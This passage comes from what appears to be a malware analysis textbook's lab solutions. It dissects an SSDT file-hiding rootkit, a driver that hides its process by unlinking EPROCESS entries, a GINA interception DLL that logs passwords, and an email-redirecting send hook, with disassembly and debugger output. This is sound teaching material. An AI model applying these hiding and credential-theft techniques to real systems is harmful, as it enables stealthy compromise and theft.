036a303e  72 00 68 00 00 00 00 00-00 00 f6 bb be f0 6e 70  r.h...........np
036a304e  c7 01 47 c0 db 46 25 75-cb 01 50 1e c1 f0 6e 70  ..G..F%u..P...np
036a305e  c7 01 50 1e c1 f0 6e 70-c7 01 00 00 00 00 00 00  ..P...np........

Listing 10-12L: Examining the first argument to RtlCompareMemory

The other operand of the comparison is the fixed location f7c4d51a, and 
we can use the db command to view that as well. Listing 10-13L shows that the 
second parameter to RtlCompareMemory stores the letters Mlwx, which reminds 
us of the driver Mlwx486.sys.

kd> db f7c4d51a
f7c4d51a  4d 00 6c 00 77 00 78 00-00 00 00 00 00 00 00 00  M.l.w.x.........
f7c4d52a  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
f7c4d53a  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Listing 10-13L: Examining the second argument to RtlCompareMemory

The call to RtlCompareMemory specifies a size of 8 bytes, which represents 
four characters in wide character strings. The code is comparing every file to 
see if it starts with the four characters Mlwx. We now have a pretty good idea 
that this driver is hiding files that begin with Mlwx.

Hiding Files

Having discovered which filenames PatchFunction will operate on, we analyze 
how it will change the return values of NtQueryDirectoryFile. Examining the 
documentation for NtQueryDirectoryFile, we see the FileInformation structure 
with a series of FILE_BOTH_DIR_INFORMATION structures. The first field in the 
FILE_BOTH_DIR_INFORMATION structure is the offset that points to the next 
FILE_BOTH_DIR_INFORMATION. As shown in Figure 10-2L, PatchFunction manipu-
lates this field to hide certain files from the directory listing by moving the 
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offset forward to point to the next entry if the current entry has a filename 
beginning with Mlwx.

Figure 10-2L shows what the return value of NtQueryDirectoryFile looks like 
for a directory that contains three files. There is one FILE_BOTH_DIR_INFORMATION 
structure for each file. Normally, the first structure would point to the second, 
and the second would point to the third, but the rootkit has modified the 
structure so that the first structure points to the third, thereby hiding the 
middle structure. This trick ensures that any files that begin with Mlwx are 
skipped and hidden from directory listings.

Figure 10-2L: A series of FILE_BOTH_DIR_INFORMATION structures being 
modified so that the middle structure is hidden

Recovering the Hidden File

Having identified the program that is hiding files, we can try to obtain the 
original file used by the driver in order to perform additional analysis. There 
are several ways to do this:

1. Disable the service that starts the driver and reboot. When you reboot, 
the code won’t be running and the file won’t be hidden.

2. Extract the file from the resource section of the executable file that 
installed it.

3. Access the file even though it’s not available in the directory listing. 
The hook to NtQueryDirectoryFile prevents the file from being shown in 
a directory listing, but the file still exists. For example, you could copy 
the file using the DOS command copy Mlwx486.sys NewFilename.sys. The 
NewFilename.sys file would not be hidden.

All of these options are simple enough, but the first is the best because it 
disables the driver. With the driver disabled, you should first search your sys-
tem for files beginning with Mlwx in case there are other files being hidden 
by the Mlwx486.sys driver. (There are none in this case.)

Opening Mlwx486.sys in IDA Pro, we see that it is very small, so we 
should analyze all of it to make sure that the driver isn’t doing anything 
else that we’re not aware of. We see that the DriverEntry routine calls 
RtlInitUnicodeString with KeServiceDescriptorTable and NtQueryDirectoryFile, 
and then calls MmGetSystemRoutineAddress to find the offsets for those two 
addresses. It next looks for the entry in the SSDT for NtQueryDirectoryFile 

FILE_BOTH_DIR_INFORMATION

FILE_BOTH_DIR_INFORMATION

FILE_BOTH_DIR_INFORMATION
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and overwrites that entry with the address of the PatchFunction. It doesn’t create 
a device, and it doesn’t add any function handlers to the driver object.

Lab 10-3 Solutions

Short Answers
1. The user-space program loads the driver and then pops up an advertise-

ment every 30 seconds. The driver hides the process by unlinking the 
Process Environment Block (PEB) from the system’s linked list.

2. Once this program is running, there is no easy way to stop it without 
rebooting.

3. The kernel component responds to any DeviceIoControl request by 
unlinking the process that made the request from the linked list of 
processes in order to hide the process from the user.

Detailed Analysis
We begin with some basic static analysis on the files. When we analyze the 
driver file, we see the following imports:

IofCompleteRequest
IoDeleteDevice
IoDeleteSymbolicLink
RtlInitUnicodeString
IoGetCurrentProcess
IoCreateSymbolicLink
IoCreateDevice
KeTickCount

The import for IoGetCurrentProcess is the only one that provides much 
information. (The other imports are simply required by any driver that creates 
a device that is accessible from user space.) The call to IoGetCurrentProcess tells 
us that this driver either modifies the running process or requires informa-
tion about it.

Next, we copy the driver file into C:\Windows\System32 and double-click 
the executable to run it. We see a pop-up ad, which is the same as the one 
in Lab 7-2. We now examine what it did to our system. First, we check to see 
if the service was successfully installed and verify that the malicious .sys file is 
used as part of the service. Simultaneously, we notice that after about 30 sec-
onds, the program pops up the advertisement again and does so about once 
every 30 seconds. Opening Task Manager in an effort to terminate the pro-
gram, we see that the program isn’t listed. And it’s not listed in Process 
Explorer either.

The program continues to open advertisements, and there’s no easy way 
to stop it. It’s not in a process listing, so we can’t stop it by killing the process. 
Nor can we attach a debugger to the process because the program doesn’t 
show up in the process listing for WinDbg or OllyDbg. At this point, our only 
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choice is to revert to our most recent snapshot or reboot and hope that the 
program isn’t persistent. It’s not, so a reboot stops it.

Analyzing the Executable in IDA Pro

Now to IDA Pro. Navigating to WinMain and examining the functions it calls, 
we see the following:

OpenSCManager
CreateService
StartService
CloseServiceHandle
CreateFile
DeviceIoControl
OleInitialize
CoCreateInstance
VariantInit
SysAllocString
ecx+0x2c
Sleep
OleUninitialize

WinMain can be logically broken into two sections. The first section, con-
sisting of OpenSCManager through DeviceIoControl, includes the functions to 
load and send a request to the kernel driver. The second section consists 
of the remaining functions, which show the usage of a COM object. At this 
point, we don’t know the target of the call to ecx+0x2c, but we’ll come back 
to that later.

Looking at the calls in detail, we see that the program creates a service 
called Process Helper, which loads the kernel driver C:\Windows\System32\
Lab10-03.sys. It then starts the Process Helper service, which loads Lab10-03.sys 
into the kernel and opens a handle to \\.\ProcHelper, which opens a handle to 
the kernel device created by the ProcHelper driver.

We need to look carefully at the call to DeviceIoControl, shown in 
Listing 10-14L, because the input and output parameters passed as argu-
ments to it will be sent to the kernel code, which we will need to analyze 
separately.

0040108C                 lea     ecx, [esp+2Ch+BytesReturned]
00401090                 push    0               ; lpOverlapped
00401092                 push    ecx             ; lpBytesReturned
00401093                 push    0               ; nOutBufferSize
00401095                 push 0              ; lpOutBuffer
00401097                 push    0               ; nInBufferSize
00401099                 push 0              ; lpInBuffer
0040109B                 push 0ABCDEF01h     ; dwIoControlCode
004010A0                 push    eax             ; hDevice
004010A1                 call    ds:DeviceIoControl

Listing 10-14L: A call to DeviceIoControl in Lab10-03.exe to pass a request to the 
Lab10-03.sys driver
Solu t ions to Labs 561



Notice that the call to DeviceIoControl has lpOutBuffer at  and lpInBuffer 
at  set to NULL. This is unusual, and it means that this request sends no 
information to the kernel driver and that the kernel driver sends no informa-
tion back. Also notice that the dwIoControlCode of 0xABCDEF01 at  is passed 
to the kernel driver. We’ll revisit this when we look at the kernel driver.

The remainder of this file is nearly identical to the COM example in 
Lab 7-2, except that the call to the navigate function is inside a loop that runs 
continuously and sleeps for 30 seconds between each call.

Analyzing the Driver

Next, we open the kernel file with IDA Pro. As shown in Listing 10-15L, we see 
that it calls IoCreateDevice at  to create a device named \Device\ProcHelper at .

0001071A push    offset aDeviceProchelp ; "\\Device\\ProcHelper"
0001071F  lea     eax, [ebp+var_C]
00010722  push    eax
00010723  call    edi ; RtlInitUnicodeString
00010725  mov     esi, [ebp+arg_0]
00010728  lea     eax, [ebp+var_4]
0001072B  push    eax
0001072C  push    0
0001072E  push    100h
00010733  push    22h
00010735  lea     eax, [ebp+var_C]
00010738  push    eax
00010739  push    0
0001073B  push    esi
0001073C call    ds:IoCreateDevice

Listing 10-15L: Lab10-03.sys creating a device that is accessible from user space

As shown in Listing 10-16L, the function then calls IoCreateSymbolicLink 
at  to create a symbolic link named \DosDevices\ProcHelper at  for the user-
space program to access.

00010751 push    offset aDosdevicesPr_0 ; "\\DosDevices\\ProcHelper"
00010756  lea     eax, [ebp+var_14]
00010759  push    eax
0001075A  mov     dword ptr [esi+70h], offset loc_10666
00010761  mov     dword ptr [esi+34h], offset loc_1062A
00010768  call    edi ; RtlInitUnicodeString
0001076A  lea     eax, [ebp+var_C]
0001076D  push    eax
0001076E  lea     eax, [ebp+var_14]
00010771  push    eax
00010772 call    ds:IoCreateSymbolicLink

Listing 10-16L: Lab10-03.sys creating a symbolic link to make it easier for user-space appli-
cations to access a handle to the device
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Finding the Driver in Memory with WinDbg

We can either run the malware or just start the service to load our kernel driver 
into memory. We know that the device object is at \Device\ProcHelper, so we 
start with it. In order to find the function in ProcHelper that is executed, we 
must find the driver object, which can be done with the !devobj command, as 
shown in Listing 10-17L. The output of !devobj tells us where the DriverObject 
at  is stored.

kd> !devobj ProcHelper
Device object (82af64d0) is for:
 ProcHelper \Driver\Process Helper DriverObject 82716a98
Current Irp 00000000 RefCount 1 Type 00000022 Flags 00000040
Dacl e15b15cc DevExt 00000000 DevObjExt 82af6588 
ExtensionFlags (0000000000)  
Device queue is not busy.

Listing 10-17L: Finding the device object for the ProcHelper driver

The DriverObject contains pointers to all of the functions that will be called 
when a user-space program accesses the device object. The DriverObject is 
stored in a data structure called DRIVER_OBJECT. We can use the dt command 
to view the driver object with labels, as shown in Listing 10-18L.

kd> dt nt!_DRIVER_OBJECT 82716a98
   +0x000 Type             : 4
   +0x002 Size             : 168
   +0x004 DeviceObject     : 0x82af64d0 _DEVICE_OBJECT
   +0x008 Flags            : 0x12
   +0x00c DriverStart      : 0xf7c26000 
   +0x010 DriverSize       : 0xe00
   +0x014 DriverSection    : 0x827bd598 
   +0x018 DriverExtension  : 0x82716b40 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING "\Driver\Process Helper"
   +0x024 HardwareDatabase : 0x80670ae0 _UNICODE_STRING "\REGISTRY\MACHINE\

HARDWARE\DESCRIPTION\SYSTEM"
   +0x028 FastIoDispatch   : (null) 
   +0x02c DriverInit       : 0xf7c267cd     long  +0
   +0x030 DriverStartIo    : (null) 
   +0x034 DriverUnload     : 0xf7c2662a     void  +0
   +0x038 MajorFunction    : [28] 0xf7c26606     long  +0

Listing 10-18L: Examining the driver object for Lab10-03.sys using WinDbg

This code contains several function pointers of note. These include 
DriverInit, the DriverEntry routine we analyzed in IDA Pro, and DriverUnload, 
which is called when this driver is unloaded. When we look at DriverUnload 
in IDA Pro, we see that it deletes the symbolic link and the device created 
by the DriverEntry program.
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Analyzing the Functions of the Major Function Table

Next, we examine the major function table, which is often where the most 
interesting driver code is implemented. Windows XP allows 0x1C possible 
major function codes, so we view the entries in the major function table 
using the dd command:

kd> dd 82716a98+0x38 L1C
82716ad0  f7c26606 804f354a f7c26606 804f354a
82716ae0  804f354a 804f354a 804f354a 804f354a
82716af0  804f354a 804f354a 804f354a 804f354a
82716b00  804f354a 804f354a f7c26666 804f354a
82716b10  804f354a 804f354a 804f354a 804f354a
82716b20  804f354a 804f354a 804f354a 804f354a
82716b30  804f354a 804f354a 804f354a 804f354a

Each entry in the table represents a different type of request that the 
driver can handle, but as you can see, most of the entries in the table are 
for the same function at 0X804F354A. All of the entries in the table with the 
value 0X804F354A represent a request type that the driver does not handle. 
To verify this, we need to find out what that function does. We could view 
its disassembly, but because it’s a Windows function, its name should tell us 
what it does, as shown here:

kd> ln 804f354a 
(804f354a)   nt!IopInvalidDeviceRequest   |  (804f3580)   
nt!IopGetDeviceAttachmentBase
Exact matches:
    nt!IopInvalidDeviceRequest = <no type information>

The function at 0X804F354A is named IopInvalidDeviceRequest, which 
means that it handles invalid requests that this driver doesn’t handle. The 
remaining functions from the major function table at offsets 0, 2, and 0xe 
contain the functionality that we are interested in. Examining wdm.h, we 
find that offsets of 0, 2, and 0xe store the functions for the Create, Close, 
and DeviceIoControl functions.

First, we look at the Create and Close functions at offsets 0 and 2 in the 
major function table. We notice that both entries in the major function table 
point to the same function (0xF7C26606). Looking at that function, we see 
that it simply calls IofCompleteRequest and then returns. This tells the OS that 
the request was successful, but does nothing else. The only remaining func-
tion in the major function table is the one that handles DeviceIoControl 
requests, which is the most interesting.

Looking at the DeviceIoControl function, we see that it manipulates the 
PEB of the current process. Listing 10-19L shows the code that handles 
DeviceIoControl.

00010666                 mov     edi, edi
00010668                 push    ebp
00010669                 mov     ebp, esp
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0001066B                 call   ds:IoGetCurrentProcess
00010671                 mov     ecx, [eax+8Ch]
00010677                 add    eax, 88h
0001067C                 mov     edx, [eax]
0001067E                 mov     [ecx], edx
00010680                 mov     ecx, [eax]
00010682                 mov    eax, [eax+4]
00010685                 mov     [ecx+4], eax
00010688                 mov     ecx, [ebp+Irp]  ; Irp
0001068B                 and     dword ptr [ecx+18h], 0
0001068F                 and     dword ptr [ecx+1Ch], 0
00010693                 xor     dl, dl          ; PriorityBoost
00010695                 call    ds:IofCompleteRequest
0001069B                 xor     eax, eax
0001069D                 pop     ebp
0001069E                 retn    8

Listing 10-19L: The driver code that handles DeviceIoControl requests

The first thing the DeviceIoControl function does is call IoGetCurrentProcess 
at , which returns the EPROCESS structure of the process that issued the call 
to DeviceIoControl. The function then accesses the data at an offset of 0x88 
at , and then accesses the next DWORD at offset 0x8C at .

We use the dt command to discover that LIST_ENTRY is stored at offsets 
0x88 and 0x8C in the PEB structure, as shown in Listing 10-20L at .

kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x06c ProcessLock      : _EX_PUSH_LOCK
   +0x070 CreateTime       : _LARGE_INTEGER
   +0x078 ExitTime         : _LARGE_INTEGER
   +0x080 RundownProtect   : _EX_RUNDOWN_REF
   +0x084 UniqueProcessId  : Ptr32 Void
+0x088 ActiveProcessLinks : _LIST_ENTRY

   +0x090 QuotaUsage       : [3] Uint4B
   +0x09c QuotaPeak        : [3] Uint4B
...

Listing 10-20L: Examining the EPROCESS structure with WinDbg

Now that we know that function is accessing the LIST_ENTRY structure, we 
look closely at how LIST_ENTRY is being accessed. The LIST_ENTRY structure is a 
double-linked list with two values: the first is BLINK, which points to the previ-
ous entry in the list, and the second is FLINK, which points to the next entry in 
the list. We see that it is not only reading the LIST_ENTRY structure, but also 
changing structures, as shown in Listing 10-21L.

00010671 mov     ecx, [eax+8Ch]
00010677                 add     eax, 88h
0001067C mov     edx, [eax]
0001067E mov     [ecx], edx
00010680 mov     ecx, [eax]
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00010682 mov     eax, [eax+4]
00010685 mov     [ecx+4], eax

Listing 10-21L: DeviceIoControl code that modifies the EPROCESS structure

The instruction at  obtains a pointer to the next entry in the list. The 
instruction at  obtains a pointer to the previous entry in the list. The instruc-
tion at  overwrites the BLINK pointer of the next entry so that it points to the 
previous entry. Prior to , the BLINK pointer of the next entry pointed to the 
current entry. The instruction at  overwrites the BLINK pointer so that it skips 
over the current process. The instructions at , , and  perform the same 
steps, except to overwrite the FLINK pointer of the previous entry in the list to 
skip the current entry.

Rather than change the EPROCESS structure of the current process, the 
code in Listing 10-21L changes the EPROCESS structure of the process in front 
of it and behind it in the linked list of processes. These six instructions hide 
the current process by unlinking it from the linked list of loaded processes, 
as shown in Figure 10-3L.

Figure 10-3L: A process being removed from the process list so that it’s hidden from tools 
such as Task Manager

When the OS is running normally, each process has a pointer to the pro-
cess before and after it. However, in Figure 10-3L, Process 2 has been hidden 
by this rootkit. When the OS iterates over the linked list of processes, the hid-
den process is always skipped.

You might wonder how this process continues to run without any prob-
lems, even though it’s not in the OS’s list of processes. To answer this, 
remember that a process is simply a container for various threads to run 
inside. The threads are scheduled to execute on the CPU. As long as the 
threads are still properly accounted for by the OS, they will be scheduled, 
and the process will continue to run as normal.

Lab 11-1 Solutions

Short Answers
1. The malware extracts and drops the file msgina32.dll onto disk from a 

resource section named TGAD.

2. The malware installs msgina32.dll as a GINA DLL by adding it to the reg-
istry location HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
GinaDLL, which causes the DLL to be loaded after system reboot.

LIST_ENTRY LIST_ENTRY LIST_ENTRY LIST_ENTRY

Process 1 Process 2 Process 3 Process 4

... ...
566 Appendix C



1 1
3. The malware steals user credentials by performing GINA interception. The 
msgina32.dll file is able to intercept all user credentials submitted to the 
system for authentication.

4. The malware logs stolen credentials to %SystemRoot%\System32\
msutil32.sys. The username, domain, and password are logged to the 
file with a timestamp.

5. Once the malware is dropped and installed, there must be a system 
reboot for the GINA interception to begin. The malware logs credentials 
only when the user logs out, so log out and back in to see your creden-
tials in the log file.

Detailed Analysis
Beginning with basic static analysis, we see the strings GinaDLL and SOFTWARE\
Microsoft\Windows NT\CurrentVersion\Winlogon, which lead us to suspect that this 
might be GINA interception malware. Examining the imports, we see func-
tions for manipulating the registry and extracting a resource section. Because 
we see resource extraction import functions, we examine the file structure by 
loading Lab11-01.exe into PEview, as shown in Figure 11-1L. 

Figure 11-1L: Lab11-01.exe in PEview showing the TGAD resource section

Examining the PE file format, we see a resource section named TGAD. 
When we click that section in PEview, we see that TGAD contains an embedded 
PE file.

Next, we perform dynamic analysis and monitor the malware with proc-
mon by setting a filter for Lab11-01.exe. When we launch the malware, we see 
that it creates a file named msgina32.dll on disk in the same directory from 
which the malware was launched. The malware inserts the path to msgina32.dll 
into the registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
GinaDLL, so that the DLL will be loaded by Winlogon when the system reboots.

Extracting the TGAD resource section from Lab11-01.exe (using Resource 
Hacker) and comparing it to msgina32.dll, we find that the two are identical.

Next, we load Lab11-01.exe into IDA Pro to confirm our findings. We see 
that the main function calls two functions: sub_401080 (extracts the TGAD resource 
section to msgina32.dll) and sub_401000 (sets the GINA registry value). We 
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conclude that Lab11-01.exe is an installer for msgina32.dll, which is loaded 
by Winlogon during system startup.

Analysis of msgina32.dll

We’ll begin our analysis of msgina32.dll by looking at the Strings output, as 
shown in Listing 11-1L.

GinaDLL
Software\Microsoft\Windows NT\CurrentVersion\Winlogon
MSGina.dll
UN %s DM %s PW %s OLD %s 
msutil32.sys

Listing 11-1L: Strings output of msgina32.dll

The strings in this listing contain what appears to be a log message at , 
which could be used to log user credentials if this is GINA interception mal-
ware. The string msutil32.sys is interesting, and we will determine its signifi-
cance later in the lab.

Examining msgina32.dll’s exports, we see many functions that begin with 
the prefix Wlx. Recall from Chapter 11 that GINA interception malware must 
contain all of these DLL exports because they are required by GINA. We’ll 
analyze each of these functions in IDA Pro. 

We begin by loading the malware into IDA Pro and analyzing DllMain, as 
shown in Listing 11-2L. 

1000105A         cmp     eax, DLL_PROCESS_ATTACH 
1000105D         jnz     short loc_100010B7
...
1000107E         call    ds:GetSystemDirectoryW 
10001084         lea     ecx, [esp+20Ch+LibFileName]
10001088         push    offset String2          ; "\\MSGina"
1000108D         push    ecx                     ; lpString1
1000108E         call    ds:lstrcatW
10001094         lea     edx, [esp+20Ch+LibFileName]
10001098         push    edx                     ; lpLibFileName
10001099         call    ds:LoadLibraryW 
1000109F         xor     ecx, ecx
100010A1         mov     hModule, eax 

Listing 11-2L: DllMain of msgina32.dll getting a handle to msgina.dll

As shown in the Listing 11-2L, DllMain first checks the fdwReason argument 
at . This is an argument passed in to indicate why the DLL entry-point 
function is being called. The malware checks for DLL_PROCESS_ATTACH, which is 
called when a process is starting up or when LoadLibrary is used to load the 
DLL. If this particular DllMain is called during a DLL_PROCESS_ATTACH, the code 
beginning at  is called. This code gets a handle to msgina.dll in the Win-
dows system directory via the call to LoadLibraryW at . 
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NOTE msgina.dll is the Windows DLL that implements GINA, whereas msgina32.dll is the 
malware author’s GINA interception DLL. The name msgina32 is designed to deceive.

The malware saves the handle in a global variable that IDA Pro has named 
hModule at . The use of this variable allows the DLL’s exports to properly call 
functions in the msgina.dll Windows DLL. Since msgina32.dll is intercepting 
communication between Winlogon and msgina.dll, it must properly call the 
functions in msgina.dll so that the system will continue to operate normally. 

Next, we analyze each export function. We begin with WlxLoggedOnSAS, as 
shown in Listing 11-3L.

10001350 WlxLoggedOnSAS proc near
10001350         push    offset aWlxloggedons_0  ; "WlxLoggedOnSAS"
10001355         call    sub_10001000
1000135A         jmp     eax 

Listing 11-3L: WlxLoggedOnSAS export just passing through to msgina.dll

The WlxLoggedOnSAS export is short and simply passes through to the true 
WlxLoggedOnSAS contained in msgina.dll. There are now two WlxLoggedOnSAS func-
tions: the version in Listing 11-3L in msgina32.dll and the original in msgina.dll. 
The function in Listing 11-3L begins by passing the string WlxLoggedOnSAS to 
sub_10001000 and then jumps to the result. The sub_10001000 function uses 
the hModule handle (to msgina.dll) and the string passed in (in this case, 
WlxLoggedOnSAS) to use GetProcAddress to resolve a function in msgina.dll. 
The malware doesn’t call the function; it simply resolves the address of 
WlxLoggedOnSAS in msgina.dll and jumps to the function, as seen at . By 
jumping and not calling WlxLoggedOnSAS, this code will not set up a stack 
frame or push a return address onto the stack. When WlxLoggedOnSAS in 
msgina.dll is called, it will return execution directly to Winlogon because the 
return address on the stack is the same as what was on the stack when the 
code in Listing 11-3L is called.

If we continue analyzing the other exports, we see that most operate like 
WlxLoggedOnSAS (they are pass-through functions), except for WlxLoggedOutSAS, 
which contains some extra code. (WlxLoggedOutSAS is called when the user logs 
out of the system.)

The export begins by resolving WlxLoggedOutSAS within msgina.dll using 
GetProcAddress and then calling it. The export also contains the code shown 
in Listing 11-4L.

100014FC         push    offset aUnSDmSPwSOldS  ; "UN %s DM %s PW %s OLD %s"
10001501         push    0                        ; dwMessageId
10001503         call    sub_10001570 

Listing 11-4L: WlxLoggedOutSAS calling the credential logging function sub_10001570

The code in Listing 11-4L passes a bunch of arguments and a format 
string at . This string is passed to sub_10001570, which is called at . 
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It seems like sub_10001570 may be the logging function for stolen creden-
tials, so let’s examine it to see what it does. Listing 11-5L shows the logging 
code contained in sub_10001570.

1000158E         call    _vsnwprintf 
10001593         push    offset Mode             ; Mode
10001598         push    offset Filename         ; "msutil32.sys"
1000159D         call    _wfopen 
100015A2         mov     esi, eax
100015A4         add     esp, 18h
100015A7         test    esi, esi
100015A9         jz      loc_1000164F
100015AF         lea     eax, [esp+858h+Dest]
100015B3         push    edi
100015B4         lea     ecx, [esp+85Ch+Buffer]
100015B8         push    eax
100015B9         push    ecx                     ; Buffer
100015BA         call    _wstrtime 
100015BF         add     esp, 4
100015C2         lea     edx, [esp+860h+var_828]
100015C6         push    eax
100015C7         push    edx                     ; Buffer
100015C8         call    _wstrdate 
100015CD         add     esp, 4
100015D0         push    eax
100015D1         push    offset Format           ; "%s %s - %s "
100015D6         push    esi                     ; File
100015D7         call    fwprintf 

Listing 11-5L: The credential-logging function logging to msutil32.sys 

The call to vsnwprintf at  fills in the format string passed in by the 
WlxLoggedOutSAS export. Next, the malware opens the file msutil32.sys at , 
which is created inside C:\Windows\System32\ since that is where Winlogon 
resides (and msgina32.dll is running in the Winlogon process). At  and , 
the date and time are recorded, and the information is logged at . You 
should now realize that msutil32.sys is used to store logged credentials and 
that it is not a driver, although its name suggests that it is.

We force the malware to log credentials by running Lab11-01.exe, reboot-
ing the machine, and then logging in and out of the system. The following is 
an example of the data contained in a log file created by this malware:

09/10/11 15:00:04 - UN user DM MALWAREVM PW test123 OLD (null) 
09/10/11 23:09:44 - UN hacker DM MALWAREVM PW p@ssword OLD (null)

The usernames are user and hacker, their passwords are test123 and 
p@ssword, and the domain is MALWAREVM. 
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Summary

Lab 11-1 is a GINA interceptor installer. The malware drops a DLL on the 
system and installs it to steal user credentials, beginning after system reboot. 
Once the GINA interceptor DLL is installed and running, it logs credentials 
to msutil32.sys when a user logs out of the system.

Lab 11-2 Solutions

Short Answers
1. Lab11-02.dll contains one export, named installer.

2. If you run the malware from the command line using rundll32.exe 
Lab11-02.dll,installer, the malware copies itself to the Windows system 
directory as spoolvxx32.dll and installs itself persistently under AppInit_DLLs. 
The malware also tries to open Lab11-02.ini from the Windows system 
directory, but it doesn’t find it there. 

3. Lab11-02.ini must reside in %SystemRoot%\System32\ in order for the mal-
ware to run properly.

4. The malware installs itself in the AppInit_DLLs registry value, which causes 
the malware to be loaded into every process that also loads User32.dll.

5. This malware installs an inline hook of the send function.

6. The hook checks if the outgoing packet is an email message containing 
RCPT TO:, and if this string is found, it adds an additional RCPT TO line con-
taining a malicious email account. 

7. The malware targets only MSIMN.exe, THEBAT.exe, and OUTLOOK.exe 
because all are email clients. The malware does not install the hook 
unless it is running inside one of these processes.

8. The INI file contains an encrypted email address. After decrypting 
Lab11-02.ini, we see it contains billy@malwareanalysisbook.com. 

9. See “Capturing the Network Traffic” on page 580 for our method of cap-
turing data using Wireshark, a fake mail server, and Outlook Express. 

Detailed Analysis
We begin with basic static analysis of Lab11-02.dll. The DLL has only one 
export, named installer. The malware contains imports for manipulating 
the registry (RegSetValueEx), changing the file system (CopyFile), and search-
ing through a process or thread listing (CreateToolhelp32Snapshot). The inter-
esting strings for Lab11-02.dll are shown in Listing 11-6L. 

RCPT TO: <
THEBAT.EXE
OUTLOOK.EXE
MSIMN.EXE
send
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wsock32.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
spoolvxx32.dll
AppInit_DLLs
\Lab11-02.ini 

Listing 11-6L: Interesting strings in Lab11-02.dll

The strings AppInit_DLLs and SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Windows indicate that the malware might use AppInit_DLLs to install itself for 
persistence. The string \Lab11-02.ini indicates that the malware uses the INI 
file provided in this lab. 

Examining the contents of Lab11-02.ini, we see that it appears to contain 
encoded or encrypted data. The send and wsock32.dll strings may indicate 
that the malware uses networking functionality, but that is unclear until we 
dig deeper. The process names (OUTLOOK.EXE, MSIMN.EXE, and THEBAT.EXE) are 
email clients, and combining those strings with RCPT TO: leads us to suspect 
that this malware does something with email. 

NOTE RCPT is an SMTP command to establish a recipient for an email message. 

Next, we use basic dynamic tools like procmon to monitor the malware. 
We begin by trying to install the malware using the installer export with the 
following command:

rundll32.exe Lab11-02.dll,installer

In procmon, we set a filter for the process rundll32.exe, and see the mal-
ware create a file named spoolvxx32.dll in the Windows system directory. 
Upon further inspection, we see that this file is identical to Lab11-02.dll. 
Further in the procmon listing, we see the malware add spoolvxx32.dll to the 
list of AppInit_DLLs (causing the malware to be loaded into every process that 
loads User32.dll). Finally, we see that the malware attempts to open Lab11-
02.ini from the Windows system directory. Therefore, we should copy the 
INI file to the Windows system directory in order for the malware to access it.

We move our analysis to IDA Pro to look more deeply into the malware. 
We begin by analyzing the installer export. A graph of the cross-references 
from installer is shown in Figure 11-2L.

Figure 11-2L: Cross-reference graph of the installer export
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As you can see, installer sets a value in the registry and copies a file to 
the Windows system directory. This matches what we saw during dynamic 
analysis and is confirmed in the disassembly. The installer function’s only 
purpose is to copy the malware to spoolvxx32.dll and set it as an AppInit_DLLs 
value.

In Listing 11-7L, we focus on DllMain, which starts by checking for 
DLL_PROCESS_ATTACH, as with the previous lab. It appears that this malware 
runs only during DLL_PROCESS_ATTACH; otherwise, DllMain returns without 
doing anything else. 

1000161E         cmp     [ebp+fdwReason], DLL_PROCESS_ATTACH
...
10001651         call    _GetWindowsSystemDirectory 
10001656         mov     [ebp+lpFileName], eax
10001659         push    104h                    ; Count
1000165E         push    offset aLab1102_ini     ; \\Lab11-02.ini 
10001663         mov     edx, [ebp+lpFileName]
10001666         push    edx                     ; Dest
10001667         call    strncat 
1000166C         add     esp, 0Ch
1000166F         push    0                       ; hTemplateFile
10001671         push    FILE_ATTRIBUTE_NORMAL   ; dwFlagsAndAttributes
10001676         push    OPEN_EXISTING           ; dwCreationDisposition
10001678         push    0                       ; lpSecurityAttributes
1000167A         push    FILE_SHARE_READ         ; dwShareMode
1000167C         push    GENERIC_READ            ; dwDesiredAccess
10001681         mov     eax, [ebp+lpFileName]
10001684         push    eax                     ; lpFileName
10001685         call    ds:CreateFileA 

Listing 11-7L: Code in DllMain that attempts to open Lab11-02.ini from the system directory

In Listing 11-7L at , we see the Windows system directory retrieved, as 
well as the string for Lab11-02.ini at . Together, these form a path with the 
strncat at . The malware attempts to open the INI file for reading at . If 
the file cannot be opened, DllMain returns. 

If the malware successfully opens the INI file, it reads the file into a 
global buffer, as shown in Listing 11-8L at .

100016A6         push    offset byte_100034A0  ; lpBuffer
100016AB         mov     edx, [ebp+hObject]
100016AE         push    edx                     ; hFile
100016AF         call    ds:ReadFile
100016B5         cmp     [ebp+NumberOfBytesRead], 0 
100016B9         jbe     short loc_100016D2
100016BB         mov     eax, [ebp+NumberOfBytesRead]
100016BE         mov     byte_100034A0[eax], 0
100016C5         push    offset byte_100034A0 
100016CA         call    sub_100010B3

Listing 11-8L: Reading and decrypting the INI file
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After the call to ReadFile, the malware checks to make sure the file 
size is greater than 0 at . Next, the buffer containing the file contents is 
passed to sub_100010B3 at . sub_100010B3 looks like it might be a decoding 
routine because it is the first function called after opening a handle to a 
suspected encoded file, so we’ll call it maybeDecoder. To test our theory, we 
load the malware into OllyDbg and set a breakpoint at 0x100016CA. (Make 
sure you copy the INI file and the malware into the Windows system direc-
tory and rename the DLL spoolvxx32.dll.) After the breakpoint is hit, we 
step over the call maybeDecoder. Figure 11-3L shows the result.

Figure 11-3L: OllyDbg showing the decoded contents of Lab11-02.ini

At  in Figure 11-3L, the decrypted content—the email address billy@
malwareanalysisbook.com—is pointed to by EAX. This email address is stored in 
the global variable byte_100034A0, which we rename email_address in IDA Pro 
to aid future analysis.

We have one last function to analyze inside DllMain: sub_100014B6. Because 
this function will install an inline hook, we’ll rename it hook_installer. The 
hook_installer function is complicated, so before diving into it, we provide a 
high-level overview of what this inline hook looks like after installation in 
Figure 11-4L.

Figure 11-4L: The send function before and after a hook is installed

The left side of Figure 11-4L shows what a normal call to the send function 
in ws2_32.dll looks like. The right side of the figure shows how hook_installer 
installs an inline hook of the send function. The start of the send function is 
replaced with a jump to malicious code, which calls a trampoline (shown in 
the figure’s lower-right box). The trampoline simply executes the start of the 
send function (which was overwritten with the first jump) and then jumps 
back to the original send function, so that the send function can operate as it 
did before the hook was installed. 
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Before hook_installer installs the hook, it checks to see which process the 
malware is running in. To do so, it calls three functions to get the current 
